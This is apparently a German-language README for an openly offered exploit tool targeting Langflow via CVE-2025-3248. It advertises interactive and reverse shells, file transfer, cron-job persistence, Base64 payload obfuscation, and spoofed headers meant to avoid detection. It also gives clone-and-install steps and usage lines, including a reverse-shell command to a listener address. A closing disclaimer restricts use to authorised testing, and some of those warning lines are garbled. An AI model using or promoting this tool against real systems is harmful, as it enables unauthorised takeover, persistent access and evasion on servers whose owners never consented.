Langflow RCE Exploit (CVE-2025-3248)

Exploit zur Remote-Code-Ausführung für Langflow (CVE-2025-3248)

Funktionen

• Automatische Schwachstellenerkennung
• Mehrere Ausnutzungsmodi:
  • Interaktive Shell
  • Einzelbefehlsausführung
  • Reverse-Shell-Verbindung
• Datei-Upload-Funktion
• Farbige Benutzeroberfläche
• Mehrere Reverse-Shell-Methoden
• Persistenz des Befehlsverlaufs

📌 Änderungsprotokoll (v2.0)

✨ Neue Funktionen:

• Erweitertes Payload-System mit 5 Ausführungsmethoden
• Datei-Upload/-Download mit Base64-Kodierung
• Persistenz über Cron-Jobs (persist-Befehl)
• Interaktive Shell-Upgrades:
  • upload local_path remote_path
  • download remote_path local_path
  • clear-Befehl für das Terminal

🛡️ Sicherheitsverbesserungen:

• Automatische Payload-Verschleierung (Base64 + zufällige Varianten)
• Header-Rotation pro Anfrage:
  • Zufälliger User-Agent
  • Gefälschte X-Forwarded-For-IPs
• HTTPS-Bypass (Unterstützung für selbstsignierte Zertifikate)
• Keine Weiterleitungen, um Erkennung zu vermeiden

⚡ Technische Verbesserungen:

• Mehrstufige Schwachstellenverifikation
• Verbesserte Fehlerbehandlung für instabile Verbindungen
• Vollständige Sitzungsprotokollierung in exploit_log.txt
• Persistenz des Befehlsverlaufs (.langflow_shell_history)

📊 Versionsvergleich:

🐛 Fehlerbehebungen:

• Behobene HTTPS-Verbindungsprobleme
• Verbesserte Handhabung von Sonderzeichen in Befehlen
• Stabilisierte Reverse-Shell-Zuverlässigkeit

Anforderungen

• Python 3.6 oder neuer
• Erforderliche Bibliotheken:
  • requests
  • colorama
  • readline

Installation

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

Verwendung

python exploit.py <URL> [Optionen]

Verfügbare Optionen:

Beispiele:

1. Schwachstelle prüfen:

python exploit.py http://target.com

2. Interaktive Shell starten:

python exploit.py http://target.com --shell

3. Einzelnen Befehl ausführen:

python exploit.py http://target.com --command "whoami"

4. Reverse-Shell starten:

python exploit.py http://target.com --reverse 192.168.1.100 4444

Screenshots

Image.png)

Warnung

âڑ ï¸ڈ Dieses Tool ist ausschließlich für Bildungs- und autorisierte Testzwecke bestimmt.
âڑ ï¸ڈ Nicht autorisierte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben, ist illegal.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE für Details.

Autor

• Mr.SaMi
  
  

Mitwirken

Pull-Requests sind willkommen. Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue, um zu besprechen, was Sie ändern möchten.